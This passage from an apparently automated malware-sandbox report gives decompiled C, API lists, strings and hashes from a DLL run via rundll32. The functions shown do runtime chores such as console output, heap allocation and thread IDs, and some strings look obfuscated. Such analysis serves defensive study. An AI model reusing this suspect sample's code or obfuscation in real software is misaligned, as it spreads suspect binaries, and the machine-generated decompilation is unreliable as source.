																					if(_t101 == 0x4d0) {
																						return 4;
																					} else {
																						__eflags = _t101 - 0x50f;
																						if(_t101 == 0x50f) {
																							return 0x1a;
																						} else {
																							__eflags = _t101 - 0x5b4;
																							if(_t101 == 0x5b4) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				} else {
																					__eflags = _t101 - 0x46b;
																					if(_t101 == 0x46b) {
																						return 0x1e;
																					} else {
																						__eflags = _t101 - 0x476;
																						if(_t101 == 0x476) {
																							return 0x20;
																						} else {
																							__eflags = _t101 - 0x4cf;
																							if(_t101 != 0x4cf) {
																								goto L106;
																							} else {
																								return 5;
																							}
																						}
																					}
																				}
																			}
																		} else {
																			_t144 = _t101 - 0x271d;
																			__eflags = _t144 - 0x34;
																			if(_t144 <= 0x34) {
																				goto __edx;
																			}
																			__eflags = _t101 - 0x3c2a - 2;
																			if(_t101 - 0x3c2a < 2) {
																				goto L93;
																			} else {
																				__eflags = _t101 - 0x35ed;
																				if(_t101 == 0x35ed) {
																					goto L93;
																				} else {
																					goto L106;
																				}
																			}
																		}
																	} else {
																		__eflags = _t101 - 0xb6;
																		if(_t101 > 0xb6) {
																			__eflags = _t101 - 0x10a;
																			if(_t101 <= 0x10a) {
																				__eflags = _t101 - 0xde;
																				if(_t101 <= 0xde) {
																					__eflags = _t101 - 0xb7;
																					if(_t101 == 0xb7) {
																						return 0xc;
																					} else {
																						__eflags = _t101 - 0xce;
																						if(_t101 != 0xce) {
																							goto L106;
																						} else {
																							return 0x21;
																						}
																					}
																				} else {
																					__eflags = _t101 - 0xdf;
																					if(_t101 == 0xdf) {
																						return 0x1b;
																					} else {
																						__eflags = _t101 - 0xe8;
																						if(_t101 == 0xe8) {
																							return 0xb;
																						} else {
																							__eflags = _t101 - 0x102;
																							if(_t101 == 0x102) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				}
																			} else {
																				__eflags = _t101 - 0x3e2;
																				if(_t101 > 0x3e2) {
																					__eflags = _t101 - 0x3e3;
																					if(_t101 == 0x3e3) {
																						goto L93;
																					} else {
																						__eflags = _t101 - 0x41d;
																						if(_t101 == 0x41d) {
																							goto L93;
																						} else {
																							__eflags = _t101 - 0x461;
																							if(_t101 == 0x461) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				} else {
																					__eflags = _t101 - 0x10b;
																					if(_t101 == 0x10b) {
																						return 0xe;
																					} else {
																						__eflags = _t101 - 0x150;
																						if(_t101 == 0x150) {
																							return 0xf;
																						} else {
																							__eflags = _t101 - 0x252;
																							if(_t101 == 0x252) {
																								L93:
																								return 0x16;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				}
																			}
																		} else {
																			_t101 = _t101 + 0xfffffffe;
																			__eflags = _t101 - 0xa8;
																			if(_t101 <= 0xa8) {
																				_t120 = _t120 +  *((intOrPtr*)(0x6edb20f8 + _t101 * 4));
																				goto __edx;
																			}
																			L106:
																			return 0x28;
																		}
																	}
																} else {
																	L38:
																	_t57 = 0;
																	_t135[1] = 1;
																	 *_t135 = 0;
																	goto L9;
																}
															} else {
																asm("movsd xmm0, [esp+0x14]");
																asm("movsd [esi+0x4], xmm0");
																L40:
																_t57 = 1;
																 *_t135 = 1;
																goto L9;
															}
														}
													}
												}
											} else {
												_t135[1] = 1;
												L5:
												 *_t135 = 0;
												goto L9;
											}
										}
									}
								}
							}
						} else {
							_t57 = GetLastError();
							L7:
							_t135[1] = 0;
							_t135[2] = _t57;
							L8:
							 *_t135 = 1;
							L9:
							return _t57;
						}
					}
				}
			}

0x6edb1bf0
0x6edb1bf1
0x6edb1bf2
0x6edb1bf4
0x6edb1bf7
0x6edb1bfb
0x6edb1bff
0x6edb1c1e
0x00000000
0x6edb1c01
0x6edb1c01
0x6edb1c05
0x6edb1c0d
0x6edb1c2d
0x00000000
0x6edb1c0f
0x6edb1c0f
0x6edb1c14
0x6edb1c4e
0x6edb1c58
0x6edb1c5e
0x6edb1c60
0x6edb1cb9
0x6edb1cbb
0x00000000
0x6edb1cc1
0x6edb1cc1
0x6edb1cd3
0x6edb1cd9
0x6edb1cdb
0x6edb1d55
0x6edb1d5b
0x6edb1d5b
0x6edb1d5d
0x6edb1cdd
0x6edb1cdd
0x6edb1ce1
0x6edb1ce3
0x6edb1ce3
0x6edb1d62
0x6edb1d64
0x6edb1d67
0x00000000
0x6edb1d67
0x6edb1c62
0x6edb1c66
0x6edb1c6a
0x6edb1c6c
0x6edb1ce7
0x6edb1cf8
0x6edb1cfb
0x6edb1cfc
0x6edb1d01
0x6edb1d04
0x6edb1d09
0x6edb1d6f
0x6edb1d73
0x00000000
0x6edb1d0b
0x6edb1d0b
0x6edb1d10
0x6edb1de9
0x6edb1dec
0x6edb1dec
0x6edb1df3
0x6edb1df6
0x6edb1e2b
0x6edb1e2b
0x6edb1e32
0x00000000
0x6edb1df8
0x6edb1df8
0x6edb1dfa
0x00000000
0x6edb1dfc
0x6edb1dfc
0x6edb1e00
0x6edb1e02
0x00000000
0x6edb1e02
0x6edb1dfa
0x00000000
0x6edb1d16
0x6edb1d16
0x6edb1d1a
0x6edb1d1c
0x6edb1e85
0x6edb1e87
0x6edb1e89
0x00000000
0x6edb1d22
0x6edb1d26
0x6edb1d2a
0x6edb1d2b
0x6edb1d30
0x6edb1d35
0x6edb1d3a
0x6edb1d77
0x6edb1d7b
0x6edb1d7c
0x6edb1d7d
0x6edb1d82
0x00000000
0x6edb1d82
0x6edb1d1c
0x6edb1d10
0x6edb1c6e
0x6edb1c6e
0x6edb1c70
0x6edb1e54
0x6edb1e59
0x6edb1e5c
0x6edb1e5e
0x6edb1e6d
0x6edb1e72
0x6edb1e75
0x00000000
0x6edb1c76
0x6edb1c76
0x6edb1c78
0x6edb1c81
0x6edb1c84
0x6edb1d3e
0x00000000
0x6edb1c8a
0x6edb1c8a
0x6edb1c91
0x6edb1c93
0x6edb1c96
0x6edb1c9a
0x6edb1ca1
0x6edb1ca3
0x6edb1ca7
0x6edb1d8a
0x6edb1d8d
0x6edb1d90
0x6edb1e77
0x6edb1e77
0x6edb1e79
0x6edb1e7e
0x6edb1e8e
0x6edb1e8e
0x6edb1e93
0x6edb1e96
0x00000000
0x6edb1d96
0x6edb1d9c
0x6edb1d9d
0x6edb1da2
0x6edb1da5
0x6edb1daa
0x6edb1dae
0x6edb1d42
0x6edb1d42
0x6edb1d49
0x00000000
0x6edb1db0
0x6edb1db0
0x6edb1db4
0x6edb1db8
0x6edb1dba
0x6edb1dbd
0x6edb1e98
0x6edb1e98
0x6edb1e9c
0x6edb1e9e
0x6edb1ea6
0x6edb1eaf
0x00000000
0x6edb1dc3
0x6edb1dc3
0x6edb1dcb
0x6edb1dcc
0x6edb1dcd
0x6edb1dd2
0x6edb1dd5
0x6edb1dda
0x6edb1e08
0x6edb1e0c
0x6edb1e0f
0x6edb1e11
0x6edb1e15
0x6edb1eb2
0x6edb1eb6
0x6edb1eb8
0x6edb1ec0
0x6edb1ec5
0x6edb1ec6
0x6edb1ec6
0x6edb1ece
0x6edb1ed1
0x6edb1ed6
0x6edb1ed9
0x6edb1edf
0x6edb1f05
0x6edb1f0b
0x6edb1f29
0x6edb1f2f
0x6edb1fa2
0x6edb1fa8
0x6edb205e
0x6edb2064
0x00000000
0x6edb2066
0x6edb2066
0x6edb206c
0x00000000
0x6edb206e
0x6edb206e
0x6edb2074
0x00000000
0x00000000
0x00000000
0x00000000
0x6edb2074
0x6edb206c
0x6edb1fae
0x6edb1fae
0x6edb1fb4
0x00000000
0x6edb1fba
0x6edb1fba
0x6edb1fc0
0x00000000
0x6edb1fc6
0x6edb1fc6
0x6edb1fcc
0x00000000
0x6edb1fd2
0x00000000
0x6edb1fd2
0x6edb1fcc
0x6edb1fc0
0x6edb1fb4
0x6edb1f31
0x6edb1f31
0x6edb1f37
0x6edb2020
0x6edb2026
0x6edb20a1
0x6edb2028
0x6edb2028
0x6edb202e
0x6edb20f1
0x6edb2034
0x6edb2034
0x6edb203a
0x00000000
0x6edb203c
0x00000000
0x6edb203c
0x6edb203a
0x6edb202e
0x6edb1f3d
0x6edb1f3d
0x6edb1f43
0x6edb20dd
0x6edb1f49
0x6edb1f49
0x6edb1f4f
0x6edb20e1
0x6edb1f55
0x6edb1f55
0x6edb1f5b
0x00000000
0x6edb1f61
0x6edb1f64
0x6edb1f64
0x6edb1f5b
0x6edb1f4f
0x6edb1f43
0x6edb1f37
0x6edb1f0d
0x6edb1f0d
0x6edb1f13
0x6edb1f16
0x6edb1f23
0x6edb1f23
0x6edb200e
0x6edb2011
0x00000000
0x6edb2013
0x6edb2013
0x6edb2019
0x00000000
0x6edb201b
0x00000000
0x6edb201b
0x6edb2019
0x6edb2011
0x6edb1ee1
0x6edb1ee1
0x6edb1ee7
0x6edb1f65
0x6edb1f6b
0x6edb1fd7
0x6edb1fdd
0x6edb2082
0x6edb2088
0x6edb2099
0x6edb208a
0x6edb208a
0x6edb2090
0x00000000
0x6edb2092
0x6edb2095
0x6edb2095
0x6edb2090
0x6edb1fe3
0x6edb1fe3
0x6edb1fe9
0x6edb20ed
0x6edb1fef
0x6edb1fef
0x6edb1ff5
0x6edb209d
0x6edb1ffb
0x6edb1ffb
0x6edb2001
0x00000000
0x6edb2003
0x00000000
0x6edb2003
0x6edb2001
0x6edb1ff5
0x6edb1fe9
0x6edb1f6d
0x6edb1f6d
0x6edb1f73
0x6edb2041
0x6edb2047
0x00000000
0x6edb2049
0x6edb2049
0x6edb204f
0x00000000
0x6edb2051
0x6edb2051
0x6edb2057
0x00000000
0x6edb2059
0x00000000
0x6edb2059
0x6edb2057
0x6edb204f
0x6edb1f79
0x6edb1f79
0x6edb1f7f
0x6edb20e5
0x6edb1f85
0x6edb1f85
0x6edb1f8b
0x6edb20e9
0x6edb1f91
0x6edb1f91
0x6edb1f97
0x6edb2076
0x6edb2079
0x6edb1f9d
0x00000000
0x6edb1f9d
0x6edb1f97
0x6edb1f8b
0x6edb1f7f
0x6edb1f73
0x6edb1ee9
0x6edb1ee9
0x6edb1eec
0x6edb1ef2
0x6edb1ef8
0x6edb1eff
0x6edb1eff
0x6edb20f2
0x6edb20f5
0x6edb20f5
0x6edb1ee7
0x6edb1e1b
0x6edb1e1b
0x6edb1e1b
0x6edb1e1d
0x6edb1e24
0x00000000
0x6edb1e24
0x6edb1ddc
0x6edb1ddc
0x6edb1de2
0x6edb1e39
0x6edb1e39
0x6edb1e3e
0x00000000
0x6edb1e3e
0x6edb1dda
0x6edb1dbd
0x6edb1dae
0x6edb1cad
0x6edb1cad
0x6edb1c25
0x6edb1c25
0x00000000
0x6edb1c25
0x6edb1ca7
0x6edb1c84
0x6edb1c70
0x6edb1c6c
0x6edb1c16
0x6edb1c16
0x6edb1c32
0x6edb1c32
0x6edb1c39
0x6edb1c3c
0x6edb1c3c
0x6edb1c42
0x6edb1c49
0x6edb1c49
0x6edb1c14
0x6edb1c0d

APIs

GetStdHandle.KERNEL32(000000F4,?,?,?,?,?,?,?,?,?,6EDB1A7E,?), ref: 6EDB1C05
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,6EDB1A7E,?), ref: 6EDB1C16
GetConsoleMode.KERNEL32(00000000,?), ref: 6EDB1C58
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 6EDB1CD3
GetLastError.KERNEL32(?,?,?,00000000), ref: 6EDB1D55

Strings

assertion failed: !handle.is_null()C:dhidzhitbujbfqqncawhogkkniegcctcaffidkzeqdjseyaidkczyyqaglapgqobugufdomajsuqnpsbinwfvrqqdagbgthjkpsvdrffbyloxsjdadyxwklhzxnssljgptb, xrefs: 6EDB1E5E
Unexpected number of bytes for incomplete UTF-8 codepoint.C:hblnvdkuwjldwqihlnxtdgmpotoebajfmrqgmtnnutixvbqajdevcxgcqgdhsiilwcvdkgzorjjpjapcqyybtuxulzftbxrvddihohqaoiyqfmhasplljpbebhbcelwx, xrefs: 6EDB1E45

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: ErrorLast$ConsoleFileHandleModeWrite
String ID: Unexpected number of bytes for incomplete UTF-8 codepoint.C:hblnvdkuwjldwqihlnxtdgmpotoebajfmrqgmtnnutixvbqajdevcxgcqgdhsiilwcvdkgzorjjpjapcqyybtuxulzftbxrvddihohqaoiyqfmhasplljpbebhbcelwx$assertion failed: !handle.is_null()C:dhidzhitbujbfqqncawhogkkniegcctcaffidkzeqdjseyaidkczyyqaglapgqobugufdomajsuqnpsbinwfvrqqdagbgthjkpsvdrffbyloxsjdadyxwklhzxnssljgptb
API String ID: 4172320683-1866377508
Opcode ID: 0ac7ed20d7c5d44611d164302f30e37e3063f6e0f495e90fdad26ad5270a6408
Instruction ID: 5cf5d026241af49999deac59deb9fb51c3cfc3b9c6c3dd3e8d7a28208bd1b161
Opcode Fuzzy Hash: 0ac7ed20d7c5d44611d164302f30e37e3063f6e0f495e90fdad26ad5270a6408
Instruction Fuzzy Hash: E971AFB0A08345DFD7148FA5D45476BBBE9AB86748F10882DE4DB8B380E731D94DCB62

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAC4D0, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 95
memoryCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E6EDAC4D0(void* __ebx, void* __edi, void* __esi, void* _a8) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				signed int _v36;
				char _v40;
				long _v48;
				void* __ebp;
				void* _t22;
				void* _t29;
				void* _t30;
				signed int _t43;
				signed int _t47;
				signed int _t50;
				void* _t54;

				_t32 = __ebx;
				_v32 = _t54 - 0x20;
				_v20 = 0xffffffff;
				_v24 = E6EDB3990;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_v48 = 0;
				__imp__AcquireSRWLockExclusive(0x6edfe108, __esi, __edi, __ebx);
				_t47 =  *0x6edfd038; // 0x1
				_t50 =  *0x6edfd03c; // 0x0
				_v40 = 0x6edfe108;
				_t43 = _t47 & _t50;
				if(_t43 == 0xffffffff) {
					L8:
					_v36 = _t43;
					__imp__ReleaseSRWLockExclusive(0x6edfe108);
					_v20 = 0;
					_t22 = E6EDC99A0("failed to generate unique thread ID: bitspace exhausted", 0x37, 0x6edefa80);
					goto L10;
				} else {
					 *0x6edfd038 = _t47 + 1;
					asm("adc ecx, 0x0");
					 *0x6edfd03c = _t50;
					if((_t47 | _t50) == 0) {
						_v36 = _t43;
						_v20 = 0;
						_t22 = E6EDC94E0(__ebx, "called `Option::unwrap()` on a `None` value", 0x2b, _t47, _t50, __eflags, 0x6edefa90);
						L10:
						asm("ud2");
						__eflags = _v36 - 0xffffffff;
						if(_v36 != 0xffffffff) {
							E6EDAC6B0(_t22,  &_v40);
						}
						return E6EDAC690( &_v48);
					} else {
						__imp__ReleaseSRWLockExclusive(0x6edfe108);
						_t29 =  *0x6edfe128; // 0x3340000
						if(_t29 != 0) {
							L5:
							_t30 = HeapAlloc(_t29, 0, 0x20);
							if(_t30 == 0) {
								goto L7;
							} else {
								 *(_t30 + 8) = _t47;
								 *(_t30 + 0xc) = _t50;
								 *(_t30 + 0x10) = 0;
								 *((char*)(_t30 + 0x18)) = 0;
								 *_t30 = 1;
								 *(_t30 + 4) = 1;
								 *[fs:0x0] = _v28;
								return _t30;
							}
						} else {
							_t29 = GetProcessHeap();
							if(_t29 == 0) {
								L7:
								_t43 = 8;
								E6EDC92F0(_t32, 0x20, 8, _t47, _t50, __eflags);
								asm("ud2");
								goto L8;
							} else {
								 *0x6edfe128 = _t29;
								goto L5;
							}
						}
					}
				}
			}

0x6edac4d0
0x6edac4d9
0x6edac4dc
0x6edac4e3
0x6edac4f4
0x6edac4f7
0x6edac4fd
0x6edac509
0x6edac50f
0x6edac515
0x6edac51b
0x6edac524
0x6edac529
0x6edac5bf
0x6edac5bf
0x6edac5c7
0x6edac5cd
0x6edac5e3
0x00000000
0x6edac52f
0x6edac536
0x6edac53d
0x6edac542
0x6edac548
0x6edac5ed
0x6edac5f0
0x6edac606
0x6edac60e
0x6edac60e
0x6edac617
0x6edac61b
0x6edac620
0x6edac620
0x6edac631
0x6edac54e
0x6edac553
0x6edac559
0x6edac560
0x6edac570
0x6edac575
0x6edac57c
0x00000000
0x6edac57e
0x6edac57e
0x6edac581
0x6edac584
0x6edac58b
0x6edac58f
0x6edac595
0x6edac59f
0x6edac5ad
0x6edac5ad
0x6edac562
0x6edac562
0x6edac569
0x6edac5ae
0x6edac5b3
0x6edac5b8
0x6edac5bd
0x00000000
0x6edac56b
0x6edac56b
0x00000000
0x6edac56b
0x6edac569
0x6edac560
0x6edac548

APIs

AcquireSRWLockExclusive.KERNEL32(6EDFE108), ref: 6EDAC509
ReleaseSRWLockExclusive.KERNEL32(6EDFE108), ref: 6EDAC553
GetProcessHeap.KERNEL32 ref: 6EDAC562
HeapAlloc.KERNEL32(03340000,00000000,00000020), ref: 6EDAC575
ReleaseSRWLockExclusive.KERNEL32(6EDFE108), ref: 6EDAC5C7

Strings

called `Option::unwrap()` on a `None` value, xrefs: 6EDAC5F7
failed to generate unique thread ID: bitspace exhausted, xrefs: 6EDAC5D4

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: ExclusiveLock$HeapRelease$AcquireAllocProcess
String ID: called `Option::unwrap()` on a `None` value$failed to generate unique thread ID: bitspace exhausted
API String ID: 1780889587-1657987152
Opcode ID: 85043e843850bf2a0d570569536282470d9d4946836450b699dca90d7ae87d5a
Instruction ID: 3a38e11f2e24c3dd11755d5acaa8965b7c8217f08c06830b1b27dee5d0c1f2dd
Opcode Fuzzy Hash: 85043e843850bf2a0d570569536282470d9d4946836450b699dca90d7ae87d5a
Instruction Fuzzy Hash: 4A3104B0D00204CBEB10DFD9DC0879EBBB8EB89364F144529D9166F3C0D7759906CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6EDA10A0, Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 141
memoryCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6EDA10A0(long __ebx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4, char _a8, intOrPtr _a16) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				long _v44;
				long _v48;
				void* _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				long _v64;
				void* __ebp;
				void* _t45;
				void* _t46;
				void* _t50;
				void* _t51;
				intOrPtr _t54;
				long _t62;
				void* _t71;
				void* _t81;
				void* _t84;
				intOrPtr _t85;

				_t78 = __esi;
				_t76 = __edi;
				_t59 = __ebx;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t85 = _t84 - 0x30;
				_v32 = _t85;
				_v20 = 0xffffffff;
				_v24 = E6EDB3950;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t45 =  *0x6edfe128; // 0x3340000
				if(_t45 != 0) {
					L3:
					_t46 = HeapAlloc(_t45, 0, 0xf);
					if(_t46 == 0) {
						goto L18;
					} else {
						asm("movsd xmm0, [0x6ededa37]");
						asm("movsd xmm1, [0x6ededa30]");
						_v40 = _t46;
						asm("movsd [eax+0x7], xmm0");
						asm("movsd [eax], xmm1");
						_t50 =  *0x6edfe128; // 0x3340000
						if(_t50 != 0) {
							L7:
							_t51 = HeapAlloc(_t50, 0, 0x10);
							if(_t51 == 0) {
								goto L19;
							} else {
								asm("movsd xmm0, [0x6ededa47]");
								asm("movsd xmm1, [0x6ededa3f]");
								_t71 = 0;
								_t59 = 0x10;
								_v52 = _t51;
								_v48 = 0x10;
								asm("movsd [eax+0x8], xmm0");
								asm("movsd [eax], xmm1");
								while(1) {
									_v44 = _t59;
									if(_t71 > 0xf) {
										break;
									}
									_t17 = _t71 + 1; // 0x1
									_t76 = _t71 + _t17;
									_t78 = _t59 - _t76;
									if(_t78 < 0) {
										_v20 = 0;
										E6EDC9300(_t59, _t76, _t59, _t76, _t78, __eflags);
										asm("ud2");
										goto L18;
									} else {
										if(_t59 == _v48) {
											_v36 = _t71;
											_v56 = _t78;
											_v60 = _t76;
											_v20 = 0;
											_v64 = _t59;
											E6EDC9280( &_v52, _t59);
											_t51 = _v52;
											_t59 = _v64;
											_t71 = _v36;
											_t76 = _v60;
											_t78 = _v56;
										}
										_t10 = _t76 + 1; // 0x1
										_v36 = _t71 + 1;
										_t81 = _t51;
										E6EDBD4D0(_t51 + _t10, _t51 + _t76, _t78);
										_t71 = _v36;
										_t51 = _t81;
										_t85 = _t85 + 0xc;
										 *((char*)(_t81 + _t76)) = 0;
										_t59 = _t59 + 1;
										continue;
									}
									goto L21;
								}
								_v20 = 0;
								_v36 = _t51;
								E6EDBBE30(_v40, _a4, _a8, _t51, _a16);
								__eflags = _v48;
								if(_v48 != 0) {
									HeapFree( *0x6edfe128, 0, _v36);
								}
								HeapFree( *0x6edfe128, 0, _v40);
								_t54 = _v28;
								 *[fs:0x0] = _t54;
								return _t54;
							}
						} else {
							_t50 = GetProcessHeap();
							if(_t50 == 0) {
								L19:
								_t62 = 0x10;
								goto L20;
							} else {
								 *0x6edfe128 = _t50;
								goto L7;
							}
						}
					}
				} else {
					_t45 = GetProcessHeap();
					if(_t45 == 0) {
						L18:
						_t62 = 0xf;
						L20:
						E6EDC92F0(_t59, _t62, 1, _t76, _t78, __eflags);
						asm("ud2");
						__eflags =  &_a8;
						E6EDA1000(_v52, _v48);
						return E6EDA1000(_v40, 0xf);
					} else {
						 *0x6edfe128 = _t45;
						goto L3;
					}
				}
				L21:
			}

0x6eda10a0
0x6eda10a0
0x6eda10a0
0x6eda10a3
0x6eda10a4
0x6eda10a5
0x6eda10a6
0x6eda10a9
0x6eda10ac
0x6eda10b3
0x6eda10c4
0x6eda10c7
0x6eda10cd
0x6eda10d4
0x6eda10e8
0x6eda10ed
0x6eda10f4
0x00000000
0x6eda10fa
0x6eda10fa
0x6eda1102
0x6eda110a
0x6eda110d
0x6eda1112
0x6eda1116
0x6eda111d
0x6eda1131
0x6eda1136
0x6eda113d
0x00000000
0x6eda1143
0x6eda1143
0x6eda114b
0x6eda1153
0x6eda1155
0x6eda115a
0x6eda115d
0x6eda1164
0x6eda1169
0x6eda1192
0x6eda1195
0x6eda1198
0x00000000
0x00000000
0x6eda119a
0x6eda119a
0x6eda11a0
0x6eda11a2
0x6eda1235
0x6eda123c
0x6eda1241
0x00000000
0x6eda11a8
0x6eda11ab
0x6eda11ad
0x6eda11b5
0x6eda11b8
0x6eda11bb
0x6eda11c2
0x6eda11c5
0x6eda11ca
0x6eda11cd
0x6eda11d0
0x6eda11d3
0x6eda11d6
0x6eda11d6
0x6eda1171
0x6eda1175
0x6eda117e
0x6eda1180
0x6eda1185
0x6eda1188
0x6eda118a
0x6eda118d
0x6eda1191
0x00000000
0x6eda1191
0x00000000
0x6eda11a2
0x6eda11db
0x6eda11e5
0x6eda11f2
0x6eda11fa
0x6eda11fe
0x6eda120b
0x6eda120b
0x6eda121b
0x6eda1220
0x6eda1223
0x6eda1230
0x6eda1230
0x6eda111f
0x6eda111f
0x6eda1126
0x6eda124a
0x6eda124a
0x00000000
0x6eda112c
0x6eda112c
0x00000000
0x6eda112c
0x6eda1126
0x6eda111d
0x6eda10d6
0x6eda10d6
0x6eda10dd
0x6eda1243
0x6eda1243
0x6eda124f
0x6eda1254
0x6eda1259
0x6eda1264
0x6eda126d
0x6eda1283
0x6eda10e3
0x6eda10e3
0x00000000
0x6eda10e3
0x6eda10dd
0x00000000

APIs

GetProcessHeap.KERNEL32 ref: 6EDA10D6
HeapAlloc.KERNEL32(03340000,00000000,0000000F), ref: 6EDA10ED
GetProcessHeap.KERNEL32(03340000,00000000,0000000F), ref: 6EDA111F
HeapAlloc.KERNEL32(03340000,00000000,00000010,03340000,00000000,0000000F), ref: 6EDA1136
HeapFree.KERNEL32(00000000,?,00000000,00000010,03340000,00000000,0000000F), ref: 6EDA120B
HeapFree.KERNEL32(00000000,?,00000000,00000010,03340000,00000000,0000000F), ref: 6EDA121B

Strings

Control_RunDLL, xrefs: 6EDA1102
Control_RunDLL, xrefs: 6EDA114B

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: Heap$AllocFreeProcess
String ID: Control_RunDLL$Control_RunDLL
API String ID: 2113670309-2490747307
Opcode ID: 3e53cfc1bf3959a00785d559018c2845dfbc7aaec63d3bd42aebd2004728415e
Instruction ID: 80c2850d2fea9f925a276ebd4840f04be9fabcd28c87d11597f1d2757bcf5430
Opcode Fuzzy Hash: 3e53cfc1bf3959a00785d559018c2845dfbc7aaec63d3bd42aebd2004728415e
Instruction Fuzzy Hash: 76518EB5D00619DBEB00CFE9CC81BDEB7BAFF89354F104525E9066B281E774A9458BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBEF20, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6EDBEF57
___except_validate_context_record.LIBVCRUNTIME ref: 6EDBEF5F
_ValidateLocalCookies.LIBCMT ref: 6EDBEFE8
__IsNonwritableInCurrentImage.LIBCMT ref: 6EDBF013
_ValidateLocalCookies.LIBCMT ref: 6EDBF068

Strings

csm, xrefs: 6EDBEFFD

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 52af9ea7f08e91354ebe00f14b8666fc65de6c6a7486daa6affe98798dc52c25
Instruction ID: 91c624c816a6165022196e7756a517da2fd7552cdc91475dabd3cd41a6679cfb
Opcode Fuzzy Hash: 52af9ea7f08e91354ebe00f14b8666fc65de6c6a7486daa6affe98798dc52c25
Instruction Fuzzy Hash: 8941B374D10109DBCF00CFE9C844A9EBBB9BF49358F148595EC169B391E735D906CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6EDB2960, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6EDFE114), ref: 6EDB2994
TlsAlloc.KERNEL32 ref: 6EDB29AA
GetProcessHeap.KERNEL32 ref: 6EDB29C4
HeapAlloc.KERNEL32(03340000,00000000,0000000C), ref: 6EDB29DB
ReleaseSRWLockExclusive.KERNEL32(6EDFE114), ref: 6EDB2A18

Strings

assertion failed: key != c::TLS_OUT_OF_INDEXESC:nzjojbotqasycnkljdteylasxmjqphnrtuuxvfwvaplwzgzyritzjhhjbshfvmfwyjcjnfnfvmrvjottrwutfjgifoertqrccfhqlnovkbhlvalwmitqmxbhveuriecxxgeiiftdxvx, xrefs: 6EDB2A38

Memory Dump Source

Source File: 00000002.00000002.545631028.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000002.00000002.545627622.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545646465.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.545668760.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.545673502.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.545680718.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6eda0000_rundll32.jbxd

Similarity

